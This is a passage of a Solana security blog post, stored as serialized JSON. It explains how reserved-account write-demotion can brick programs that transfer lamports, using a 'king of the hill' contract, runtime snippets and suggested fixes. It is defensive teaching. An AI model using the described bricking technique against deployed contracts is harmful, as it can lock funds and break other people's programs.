message",{"type":23,"tag":139,"props":72693,"children":72694},{"style":982},[72695],{"type":28,"value":2493},{"type":23,"tag":139,"props":72697,"children":72698},{"style":305},[72699],{"type":28,"value":72700}," Cow",{"type":23,"tag":139,"props":72702,"children":72703},{"style":982},[72704],{"type":28,"value":1461},{"type":23,"tag":139,"props":72706,"children":72707},{"style":245},[72708],{"type":28,"value":72709},"Owned",{"type":23,"tag":139,"props":72711,"children":72712},{"style":259},[72713],{"type":28,"value":262},{"type":23,"tag":139,"props":72715,"children":72716},{"style":294},[72717],{"type":28,"value":65938},{"type":23,"tag":139,"props":72719,"children":72720},{"style":259},[72721],{"type":28,"value":4739},{"type":23,"tag":139,"props":72723,"children":72724},{"class":141,"line":1636},[72725,72730],{"type":23,"tag":139,"props":72726,"children":72727},{"style":294},[72728],{"type":28,"value":72729},"            is_writable_account_cache",{"type":23,"tag":139,"props":72731,"children":72732},{"style":259},[72733],{"type":28,"value":1488},{"type":23,"tag":139,"props":72735,"children":72736},{"class":141,"line":1659},[72737],{"type":23,"tag":139,"props":72738,"children":72739},{"style":259},[72740],{"type":28,"value":1326},{"type":23,"tag":139,"props":72742,"children":72743},{"class":141,"line":1667},[72744],{"type":23,"tag":139,"props":72745,"children":72746},{"style":259},[72747],{"type":28,"value":1335},{"type":23,"tag":139,"props":72749,"children":72750},{"class":141,"line":1676},[72751],{"type":23,"tag":139,"props":72752,"children":72753},{"style":259},[72754],{"type":28,"value":1897},{"type":23,"tag":139,"props":72756,"children":72757},{"class":141,"line":1745},[72758],{"type":23,"tag":139,"props":72759,"children":72760},{"emptyLinePlaceholder":15},[72761],{"type":28,"value":184},{"type":23,"tag":139,"props":72763,"children":72764},{"class":141,"line":1753},[72765],{"type":23,"tag":139,"props":72766,"children":72767},{"style":958},[72768],{"type":28,"value":72769},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":23,"tag":139,"props":72771,"children":72772},{"class":141,"line":1783},[72773,72777,72781,72786,72790,72794,72798,72802,72806,72810,72814,72818,72822,72826],{"type":23,"tag":139,"props":72774,"children":72775},{"style":279},[72776],{"type":28,"value":11701},{"type":23,"tag":139,"props":72778,"children":72779},{"style":279},[72780],{"type":28,"value":11706},{"type":23,"tag":139,"props":72782,"children":72783},{"style":245},[72784],{"type":28,"value":72785}," demote_program_id",{"type":23,"tag":139,"props":72787,"children":72788},{"style":259},[72789],{"type":28,"value":262},{"type":23,"tag":139,"props":72791,"children":72792},{"style":982},[72793],{"type":28,"value":1085},{"type":23,"tag":139,"props":72795,"children":72796},{"style":279},[72797],{"type":28,"value":11724},{"type":23,"tag":139,"props":72799,"children":72800},{"style":259},[72801],{"type":28,"value":1052},{"type":23,"tag":139,"props":72803,"children":72804},{"style":294},[72805],{"type":28,"value":1728},{"type":23,"tag":139,"props":72807,"children":72808},{"style":982},[72809],{"type":28,"value":2493},{"type":23,"tag":139,"props":72811,"children":72812},{"style":305},[72813],{"type":28,"value":11742},{"type":23,"tag":139,"props":72815,"children":72816},{"style":259},[72817],{"type":28,"value":1062},{"type":23,"tag":139,"props":72819,"children":72820},{"style":982},[72821],{"type":28,"value":11768},{"type":23,"tag":139,"props":72823,"children":72824},{"style":305},[72825],{"type":28,"value":10061},{"type":23,"tag":139,"props":72827,"children":72828},{"style":259},[72829],{"type":28,"value":1268},{"type":23,"tag":139,"props":72831,"children":72832},{"class":141,"line":1791},[72833,72837,72841,72846,72850,72854,72858,72862,72866,72870,72874,72879],{"type":23,"tag":139,"props":72834,"children":72835},{"style":279},[72836],{"type":28,"value":18794},{"type":23,"tag":139,"props":72838,"children":72839},{"style":982},[72840],{"type":28,"value":73},{"type":23,"tag":139,"props":72842,"children":72843},{"style":245},[72844],{"type":28,"value":72845},"is_key_called_as_program",{"type":23,"tag":139,"props":72847,"children":72848},{"style":259},[72849],{"type":28,"value":262},{"type":23,"tag":139,"props":72851,"children":72852},{"style":294},[72853],{"type":28,"value":1728},{"type":23,"tag":139,"props":72855,"children":72856},{"style":259},[72857],{"type":28,"value":1062},{"type":23,"tag":139,"props":72859,"children":72860},{"style":982},[72861],{"type":28,"value":71099},{"type":23,"tag":139,"props":72863,"children":72864},{"style":982},[72865],{"type":28,"value":10875},{"type":23,"tag":139,"props":72867,"children":72868},{"style":279},[72869],{"type":28,"value":11724},{"type":23,"tag":139,"props":72871,"children":72872},{"style":982},[72873],{"type":28,"value":73},{"type":23,"tag":139,"props":72875,"children":72876},{"style":245},[72877],{"type":28,"value":72878},"is_upgradeable_loader_present",{"type":23,"tag":139,"props":72880,"children":72881},{"style":259},[72882],{"type":28,"value":5739},{"type":23,"tag":139,"props":72884,"children":72885},{"class":141,"line":1823},[72886],{"type":23,"tag":139,"props":72887,"children":72888},{"style":259},[72889],{"type":28,"value":1897},{"type":23,"tag":24,"props":72891,"children":72892},{},[72893],{"type":28,"value":72894},"As you can see, there are two main causes of write-demotion:",{"type":23,"tag":797,"props":72896,"children":72897},{},[72898,72910],{"type":23,"tag":801,"props":72899,"children":72900},{},[72901,72903],{"type":28,"value":72902},"The account appears in the ",{"type":23,"tag":64,"props":72904,"children":72907},{"href":72905,"rel":72906},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[68],[72908],{"type":28,"value":72909},"reserved account list",{"type":23,"tag":801,"props":72911,"children":72912},{},[72913],{"type":28,"value":72914},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":23,"tag":24,"props":72916,"children":72917},{},[72918],{"type":28,"value":72919},"The second case is generally covered by the executable check implemented previously.",{"type":23,"tag":24,"props":72921,"children":72922},{},[72923],{"type":28,"value":72924},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":23,"tag":16900,"props":72926,"children":72928},{"id":72927},"the-reserved-account-list",[72929],{"type":28,"value":72930},"The Reserved Account List",{"type":23,"tag":24,"props":72932,"children":72933},{},[72934,72936,72941],{"type":28,"value":72935},"The Solana runtime maintains a ",{"type":23,"tag":64,"props":72937,"children":72939},{"href":72905,"rel":72938},[68],[72940],{"type":28,"value":72909},{"type":28,"value":72942},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":23,"tag":24,"props":72944,"children":72945},{},[72946,72948,72955,72957,72962],{"type":28,"value":72947},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":23,"tag":64,"props":72949,"children":72952},{"href":72950,"rel":72951},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[68],[72953],{"type":28,"value":72954},"feature gate is actived",{"type":28,"value":72956},", the runtime will ",{"type":23,"tag":56,"props":72958,"children":72959},{},[72960],{"type":28,"value":72961},"automatically demote them to read-only",{"type":28,"value":72963},", even if the transaction marked them as writable.",{"type":23,"tag":128,"props":72965,"children":72967},{"className":948,"code":72966,"language":947,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[72968],{"type":23,"tag":135,"props":72969,"children":72970},{"__ignoreMap":7},[72971,72979,72987,73011,73065,73103,73132],{"type":23,"tag":139,"props":72972,"children":72973},{"class":141,"line":142},[72974],{"type":23,"tag":139,"props":72975,"children":72976},{"style":958},[72977],{"type":28,"value":72978},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":23,"tag":139,"props":72980,"children":72981},{"class":141,"line":151},[72982],{"type":23,"tag":139,"props":72983,"children":72984},{"style":958},[72985],{"type":28,"value":72986},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":23,"tag":139,"props":72988,"children":72989},{"class":141,"line":160},[72990,72994,72998,73003,73007],{"type":23,"tag":139,"props":72991,"children":72992},{"style":279},[72993],{"type":28,"value":11724},{"type":23,"tag":139,"props":72995,"children":72996},{"style":982},[72997],{"type":28,"value":73},{"type":23,"tag":139,"props":72999,"children":73000},{"style":259},[73001],{"type":28,"value":73002},"reserved_account_keys ",{"type":23,"tag":139,"props":73004,"children":73005},{"style":982},[73006],{"type":28,"value":1067},{"type":23,"tag":139,"props":73008,"children":73009},{"style":259},[73010],{"type":28,"value":1268},{"type":23,"tag":139,"props":73012,"children":73013},{"class":141,"line":169},[73014,73018,73022,73027,73031,73036,73040,73044,73048,73052,73056,73060],{"type":23,"tag":139,"props":73015,"children":73016},{"style":279},[73017],{"type":28,"value":969},{"type":23,"tag":139,"props":73019,"children":73020},{"style":279},[73021],{"type":28,"value":974},{"type":23,"tag":139,"props":73023,"children":73024},{"style":294},[73025],{"type":28,"value":73026}," reserved_keys",{"type":23,"tag":139,"props":73028,"children":73029},{"style":982},[73030],{"type":28,"value":985},{"type":23,"tag":139,"props":73032,"children":73033},{"style":305},[73034],{"type":28,"value":73035}," ReservedAccountKeys",{"type":23,"tag":139,"props":73037,"children":73038},{"style":982},[73039],{"type":28,"value":1461},{"type":23,"tag":139,"props":73041,"children":73042},{"style":245},[73043],{"type":28,"value":13432},{"type":23,"tag":139,"props":73045,"children":73046},{"style":259},[73047],{"type":28,"value":262},{"type":23,"tag":139,"props":73049,"children":73050},{"style":982},[73051],{"type":28,"value":1085},{"type":23,"tag":139,"props":73053,"children":73054},{"style":279},[73055],{"type":28,"value":11724},{"type":23,"tag":139,"props":73057,"children":73058},{"style":982},[73059],{"type":28,"value":73},{"type":23,"tag":139,"props":73061,"children":73062},{"style":259},[73063],{"type":28,"value":73064},"reserved_account_keys);\n",{"type":23,"tag":139,"props":73066,"children":73067},{"class":141,"line":178},[73068,73073,73077,73082,73086,73090,73094,73098],{"type":23,"tag":139,"props":73069,"children":73070},{"style":294},[73071],{"type":28,"value":73072},"    reserved_keys",{"type":23,"tag":139,"props":73074,"children":73075},{"style":982},[73076],{"type":28,"value":73},{"type":23,"tag":139,"props":73078,"children":73079},{"style":245},[73080],{"type":28,"value":73081},"update_active_set",{"type":23,"tag":139,"props":73083,"children":73084},{"style":259},[73085],{"type":28,"value":262},{"type":23,"tag":139,"props":73087,"children":73088},{"style":982},[73089],{"type":28,"value":1085},{"type":23,"tag":139,"props":73091,"children":73092},{"style":279},[73093],{"type":28,"value":11724},{"type":23,"tag":139,"props":73095,"children":73096},{"style":982},[73097],{"type":28,"value":73},{"type":23,"tag":139,"props":73099,"children":73100},{"style":259},[73101],{"type":28,"value":73102},"feature_set);\n",{"type":23,"tag":139,"props":73104,"children":73105},{"class":141,"line":187},[73106,73111,73115,73119,73123,73128],{"type":23,"tag":139,"props":73107,"children":73108},{"style":305},[73109],{"type":28,"value":73110},"    Arc",{"type":23,"tag":139,"props":73112,"children":73113},{"style":982},[73114],{"type":28,"value":1461},{"type":23,"tag":139,"props":73116,"children":73117},{"style":245},[73118],{"type":28,"value":13134},{"type":23,"tag":139,"props":73120,"children":73121},{"style":259},[73122],{"type":28,"value":262},{"type":23,"tag":139,"props":73124,"children":73125},{"style":294},[73126],{"type":28,"value":73127},"reserved_keys",{"type":23,"tag":139,"props":73129,"children":73130},{"style":259},[73131],{"type":28,"value":273},{"type":23,"tag":139,"props":73133,"children":73134},{"class":141,"line":196},[73135],{"type":23,"tag":139,"props":73136,"children":73137},{"style":259},[73138],{"type":28,"value":14589},{"type":23,"tag":16900,"props":73140,"children":73142},{"id":73141},"consequences-silent-failures-and-bricked-programs",[73143],{"type":28,"value":73144},"Consequences: Silent Failures and Bricked Programs",{"type":23,"tag":24,"props":73146,"children":73147},{},[73148],{"type":28,"value":73149},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":23,"tag":128,"props":73151,"children":73153},{"className":948,"code":73152,"language":947,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[73154],{"type":23,"tag":135,"props":73155,"children":73156},{"__ignoreMap":7},[73157,73172,73199,73214,73253,73260,73307,73338,73345,73360,73391,73398,73413,73444],{"type":23,"tag":139,"props":73158,"children":73159},{"class":141,"line":142},[73160,73164,73168],{"type":23,"tag":139,"props":73161,"children":73162},{"style":259},[73163],{"type":28,"value":20846},{"type":23,"tag":139,"props":73165,"children":73166},{"style":305},[73167],{"type":28,"value":20851},{"type":23,"tag":139,"props":73169,"children":73170},{"style":259},[73171],{"type":28,"value":18266},{"type":23,"tag":139,"props":73173,"children":73174},{"class":141,"line":151},[73175,73179,73183,73187,73191,73195],{"type":23,"tag":139,"props":73176,"children":73177},{"style":279},[73178],{"type":28,"value":11701},{"type":23,"tag":139,"props":73180,"children":73181},{"style":279},[73182],{"type":28,"value":19159},{"type":23,"tag":139,"props":73184,"children":73185},{"style":305},[73186],{"type":28,"value":69212},{"type":23,"tag":139,"props":73188,"children":73189},{"style":259},[73190],{"type":28,"value":20931},{"type":23,"tag":139,"props":73192,"children":73193},{"style":305},[73194],{"type":28,"value":20936},{"type":23,"tag":139,"props":73196,"children":73197},{"style":259},[73198],{"type":28,"value":5284},{"type":23,"tag":139,"props":73200,"children":73201},{"class":141,"line":160},[73202,73206,73210],{"type":23,"tag":139,"props":73203,"children":73204},{"style":259},[73205],{"type":28,"value":21138},{"type":23,"tag":139,"props":73207,"children":73208},{"style":279},[73209],{"type":28,"value":1713},{"type":23,"tag":139,"props":73211,"children":73212},{"style":259},[73213],{"type":28,"value":18266},{"type":23,"tag":139,"props":73215,"children":73216},{"class":141,"line":169},[73217,73221,73225,73229,73233,73237,73241,73245,73249],{"type":23,"tag":139,"props":73218,"children":73219},{"style":279},[73220],{"type":28,"value":18851},{"type":23,"tag":139,"props":73222,"children":73223},{"style":294},[73224],{"type":28,"value":69251},{"type":23,"tag":139,"props":73226,"children":73227},{"style":982},[73228],{"type":28,"value":2493},{"type":23,"tag":139,"props":73230,"children":73231},{"style":305},[73232],{"type":28,"value":21103},{"type":23,"tag":139,"props":73234,"children":73235},{"style":259},[73236],{"type":28,"value":20931},{"type":23,"tag":139,"props":73238,"children":73239},{"style":305},[73240],{"type":28,"value":20936},{"type":23,"tag":139,"props":73242,"children":73243},{"style":259},[73244],{"type":28,"value":1052},{"type":23,"tag":139,"props":73246,"children":73247},{"style":305},[73248],{"type":28,"value":69276},{"type":23,"tag":139,"props":73250,"children":73251},{"style":259},[73252],{"type":28,"value":4141},{"type":23,"tag":139,"props":73254,"children":73255},{"class":141,"line":178},[73256],{"type":23,"tag":139,"props":73257,"children":73258},{"emptyLinePlaceholder":15},[73259],{"type":28,"value":184},{"type":23,"tag":139,"props":73261,"children":73262},{"class":141,"line":187},[73263,73267,73271,73275,73279,73283,73287,73291,73295,73299,73303],{"type":23,"tag":139,"props":73264,"children":73265},{"style":259},[73266],{"type":28,"value":21138},{"type":23,"tag":139,"props":73268,"children":73269},{"style":279},[73270],{"type":28,"value":1713},{"type":23,"tag":139,"props":73272,"children":73273},{"style":259},[73274],{"type":28,"value":69311},{"type":23,"tag":139,"props":73276,"children":73277},{"style":982},[73278],{"type":28,"value":1067},{"type":23,"tag":139,"props":73280,"children":73281},{"style":259},[73282],{"type":28,"value":69320},{"type":23,"tag":139,"props":73284,"children":73285},{"style":982},[73286],{"type":28,"value":73},{"type":23,"tag":139,"props":73288,"children":73289},{"style":259},[73290],{"type":28,"value":69329},{"type":23,"tag":139,"props":73292,"children":73293},{"style":982},[73294],{"type":28,"value":6580},{"type":23,"tag":139,"props":73296,"children":73297},{"style":259},[73298],{"type":28,"value":69251},{"type":23,"tag":139,"props":73300,"children":73301},{"style":982},[73302],{"type":28,"value":73},{"type":23,"tag":139,"props":73304,"children":73305},{"style":259},[73306],{"type":28,"value":69346},{"type":23,"tag":139,"props":73308,"children":73309},{"class":141,"line":196},[73310,73314,73318,73322,73326,73330,73334],{"type":23,"tag":139,"props":73311,"children":73312},{"style":279},[73313],{"type":28,"value":18851},{"type":23,"tag":139,"props":73315,"children":73316},{"style":294},[73317],{"type":28,"value":69320},{"type":23,"tag":139,"props":73319,"children":73320},{"style":982},[73321],{"type":28,"value":2493},{"type":23,"tag":139,"props":73323,"children":73324},{"style":305},[73325],{"type":28,"value":23419},{"type":23,"tag":139,"props":73327,"children":73328},{"style":259},[73329],{"type":28,"value":20931},{"type":23,"tag":139,"props":73331,"children":73332},{"style":305},[73333],{"type":28,"value":20936},{"type":23,"tag":139,"props":73335,"children":73336},{"style":259},[73337],{"type":28,"value":4141},{"type":23,"tag":139,"props":73339,"children":73340},{"class":141,"line":205},[73341],{"type":23,"tag":139,"props":73342,"children":73343},{"emptyLinePlaceholder":15},[73344],{"type":28,"value":184},{"type":23,"tag":139,"props":73346,"children":73347},{"class":141,"line":214},[73348,73352,73356],{"type":23,"tag":139,"props":73349,"children":73350},{"style":259},[73351],{"type":28,"value":21138},{"type":23,"tag":139,"props":73353,"children":73354},{"style":279},[73355],{"type":28,"value":1713},{"type":23,"tag":139,"props":73357,"children":73358},{"style":259},[73359],{"type":28,"value":18266},{"type":23,"tag":139,"props":73361,"children":73362},{"class":141,"line":1320},[73363,73367,73371,73375,73379,73383,73387],{"type":23,"tag":139,"props":73364,"children":73365},{"style":279},[73366],{"type":28,"value":18851},{"type":23,"tag":139,"props":73368,"children":73369},{"style":294},[73370],{"type":28,"value":69419},{"type":23,"tag":139,"props":73372,"children":73373},{"style":982},[73374],{"type":28,"value":2493},{"type":23,"tag":139,"props":73376,"children":73377},{"style":305},[73378],{"type":28,"value":23419},{"type":23,"tag":139,"props":73380,"children":73381},{"style":259},[73382],{"type":28,"value":20931},{"type":23,"tag":139,"props":73384,"children":73385},{"style":305},[73386],{"type":28,"value":20936},{"type":23,"tag":139,"props":73388,"children":73389},{"style":259},[73390],{"type":28,"value":4141},{"type":23,"tag":139,"props":73392,"children":73393},{"class":141,"line":1329},[73394],{"type":23,"tag":139,"props":73395,"children":73396},{"emptyLinePlaceholder":15},[73397],{"type":28,"value":184},{"type":23,"tag":139,"props":73399,"children":73400},{"class":141,"line":1580},[73401,73405,73409],{"type":23,"tag":139,"props":73402,"children":73403},{"style":259},[73404],{"type":28,"value":21138},{"type":23,"tag":139,"props":73406,"children":73407},{"style":279},[73408],{"type":28,"value":1713},{"type":23,"tag":139,"props":73410,"children":73411},{"style":259},[73412],{"type":28,"value":18266},{"type":23,"tag":139,"props":73414,"children":73415},{"class":141,"line":1597},[73416,73420,73424,73428,73432,73436,73440],{"type":23,"tag":139,"props":73417,"children":73418},{"style":279},[73419],{"type":28,"value":18851},{"type":23,"tag":139,"props":73421,"children":73422},{"style":294},[73423],{"type":28,"value":40133},{"type":23,"tag":139,"props":73425,"children":73426},{"style":982},[73427],{"type":28,"value":2493},{"type":23,"tag":139,"props":73429,"children":73430},{"style":305},[73431],{"type":28,"value":21167},{"type":23,"tag":139,"props":73433,"children":73434},{"style":259},[73435],{"type":28,"value":20931},{"type":23,"tag":139,"props":73437,"children":73438},{"style":305},[73439],{"type":28,"value":20936},{"type":23,"tag":139,"props":73441,"children":73442},{"style":259},[73443],{"type":28,"value":4141},{"type":23,"tag":139,"props":73445,"children":73446},{"class":141,"line":1614},[73447],{"type":23,"tag":139,"props":73448,"children":73449},{"style":259},[73450],{"type":28,"value":1897},{"type":23,"tag":24,"props":73452,"children":73453},{},[73454,73456,73462,73464,73470],{"type":28,"value":73455},"This works fine — until one day, ",{"type":23,"tag":135,"props":73457,"children":73459},{"className":73458},[],[73460],{"type":28,"value":73461},"old_king",{"type":28,"value":73463}," is silently demoted. Suddenly, the ",{"type":23,"tag":135,"props":73465,"children":73467},{"className":73466},[],[73468],{"type":28,"value":73469},"#[account(mut)]",{"type":28,"value":73471}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":23,"tag":16900,"props":73473,"children":73475},{"id":73474},"real-world-example-write-demotion-with-secp256r1_program",[73476,73478],{"type":28,"value":73477},"Real-World Example: Write-Demotion with ",{"type":23,"tag":135,"props":73479,"children":73481},{"className":73480},[],[73482],{"type":28,"value":73483},"secp256r1_program",{"type":23,"tag":24,"props":73485,"children":73486},{},[73487,73489,73494],{"type":28,"value":73488},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":23,"tag":135,"props":73490,"children":73492},{"className":73491},[],[73493],{"type":28,"value":73483},{"type":28,"value":73495},", a precompiled program gated behind a feature flag:",{"type":23,"tag":128,"props":73497,"children":73499},{"className":948,"code":73498,"language":947,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[73500],{"type":23,"tag":135,"props":73501,"children":73502},{"__ignoreMap":7},[73503,73524,73544,73573],{"type":23,"tag":139,"props":73504,"children":73505},{"class":141,"line":142},[73506,73511,73515,73520],{"type":23,"tag":139,"props":73507,"children":73508},{"style":305},[73509],{"type":28,"value":73510},"ReservedAccount",{"type":23,"tag":139,"props":73512,"children":73513},{"style":982},[73514],{"type":28,"value":1461},{"type":23,"tag":139,"props":73516,"children":73517},{"style":245},[73518],{"type":28,"value":73519},"new_pending",{"type":23,"tag":139,"props":73521,"children":73522},{"style":259},[73523],{"type":28,"value":1443},{"type":23,"tag":139,"props":73525,"children":73526},{"class":141,"line":151},[73527,73532,73536,73540],{"type":23,"tag":139,"props":73528,"children":73529},{"style":259},[73530],{"type":28,"value":73531},"    secp256r1_program",{"type":23,"tag":139,"props":73533,"children":73534},{"style":982},[73535],{"type":28,"value":1461},{"type":23,"tag":139,"props":73537,"children":73538},{"style":245},[73539],{"type":28,"value":1466},{"type":23,"tag":139,"props":73541,"children":73542},{"style":259},[73543],{"type":28,"value":1471},{"type":23,"tag":139,"props":73545,"children":73546},{"class":141,"line":160},[73547,73552,73556,73561,73565,73569],{"type":23,"tag":139,"props":73548,"children":73549},{"style":259},[73550],{"type":28,"value":73551},"    feature_set",{"type":23,"tag":139,"props":73553,"children":73554},{"style":982},[73555],{"type":28,"value":1461},{"type":23,"tag":139,"props":73557,"children":73558},{"style":259},[73559],{"type":28,"value":73560},"enable_secp256r1_precompile",{"type":23,"tag":139,"props":73562,"children":73563},{"style":982},[73564],{"type":28,"value":1461},{"type":23,"tag":139,"props":73566,"children":73567},{"style":245},[73568],{"type":28,"value":1466},{"type":23,"tag":139,"props":73570,"children":73571},{"style":259},[73572],{"type":28,"value":1471},{"type":23,"tag":139,"props":73574,"children":73575},{"class":141,"line":169},[73576],{"type":23,"tag":139,"props":73577,"children":73578},{"style":259},[73579],{"type":28,"value":273},{"type":23,"tag":24,"props":73581,"children":73582},{},[73583,73585,73590,73592,73598],{"type":28,"value":73584},"Before the ",{"type":23,"tag":135,"props":73586,"children":73588},{"className":73587},[],[73589],{"type":28,"value":73560},{"type":28,"value":73591}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":23,"tag":135,"props":73593,"children":73595},{"className":73594},[],[73596],{"type":28,"value":73597},"secp256r1_program::id()",{"type":28,"value":73599}," as the king in a contract.",{"type":23,"tag":24,"props":73601,"children":73602},{},[73603,73605,73610],{"type":28,"value":73604},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":23,"tag":135,"props":73606,"children":73608},{"className":73607},[],[73609],{"type":28,"value":73597},{"type":28,"value":73611}," becomes the eternal king, and no one can dethrone it.",{"type":23,"tag":16900,"props":73613,"children":73615},{"id":73614},"fix-3-preventing-write-demotion-pitfalls",[73616],{"type":28,"value":73617},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":23,"tag":24,"props":73619,"children":73620},{},[73621,73623,73628],{"type":28,"value":73622},"Alright, let’s try to fix this ",{"type":23,"tag":659,"props":73624,"children":73625},{},[73626],{"type":28,"value":73627},"yet another",{"type":28,"value":73629}," edge case — and hopefully close the book on it.",{"type":23,"tag":16900,"props":73631,"children":73633},{"id":73632},"attempt-1-block-known-reserved-accounts",[73634],{"type":28,"value":73635},"Attempt 1: Block Known Reserved Accounts",{"type":23,"tag":24,"props":73637,"children":73638},{},[73639],{"type":28,"value":73640},"One naive solution is to reject any known reserved account, for example:",{"type":23,"tag":128,"props":73642,"children":73644},{"className":38251,"code":73643,"language":38253,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[73645],{"type":23,"tag":135,"props":73646,"children":73647},{"__ignoreMap":7},[73648,73656],{"type":23,"tag":139,"props":73649,"children":73650},{"class":141,"line":142},[73651],{"type":23,"tag":139,"props":73652,"children":73653},{"style":259},[73654],{"type":28,"value":73655},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":23,"tag":139,"props":73657,"children":73658},{"class":141,"line":151},[73659],{"type":23,"tag":139,"props":73660,"children":73661},{"style":1016},[73662],{"type":28,"value":73663},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":23,"tag":24,"props":73665,"children":73666},{},[73667,73669,73674],{"type":28,"value":73668},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":23,"tag":135,"props":73670,"children":73672},{"className":73671},[],[73673],{"type":28,"value":73510},{"type":28,"value":73675}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":23,"tag":16900,"props":73677,"children":73679},{"id":73678},"attempt-2-use-a-pda-vault",[73680],{"type":28,"value":73681},"Attempt 2: Use a PDA Vault",{"type":23,"tag":24,"props":73683,"children":73684},{},[73685,73687,73692],{"type":28,"value":73686},"A more future-proof fix is to avoid ",{"type":23,"tag":56,"props":73688,"children":73689},{},[73690],{"type":28,"value":73691},"transferring lamports to arbitrary accounts",{"type":28,"value":73693}," altogether.",{"type":23,"tag":24,"props":73695,"children":73696},{},[73697],{"type":28,"value":73698},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":23,"tag":41,"props":73700,"children":73702},{"id":73701},"final-thoughts",[73703],{"type":28,"value":73704},"Final Thoughts",{"type":23,"tag":24,"props":73706,"children":73707},{},[73708],{"type":28,"value":73709},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":23,"tag":24,"props":73711,"children":73712},{},[73713],{"type":28,"value":73714},"We can safely transfer lamports to an account under the following conditions:",{"type":23,"tag":14699,"props":73716,"children":73717},{},[73718,73723,73728],{"type":23,"tag":801,"props":73719,"children":73720},{},[73721],{"type":28,"value":73722},"It's not executable.",{"type":23,"tag":801,"props":73724,"children":73725},{},[73726],{"type":28,"value":73727},"Its balance, after the transfer, remains rent-exempt.",{"type":23,"tag":801,"props":73729,"children":73730},{},[73731],{"type":28,"value":73732},"It's not a reserved account.",{"type":23,"tag":24,"props":73734,"children":73735},{},[73736],{"type":28,"value":73737},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":23,"tag":817,"props":73739,"children":73740},{},[73741],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":73743},[73744,73745,73746,73752],{"id":27037,"depth":151,"text":27040},{"id":69126,"depth":151,"text":69129},{"id":70233,"depth":151,"text":70236,"children":73747},[73748,73749,73751],{"id":70239,"depth":160,"text":70242},{"id":70926,"depth":160,"text":73750},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":72231,"depth":160,"text":72234},{"id":73701,"depth":151,"text":73704},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":73757,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":73758,"description":73759,"date":73760,"author":73761,"image":73762,"isFeatured":15,"onBlogPage":15,"tags":73764,"body":73767,"_type":831,"_id":87652,"_source":833,"_file":87653,"_stem":87654,"_extension":836},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based 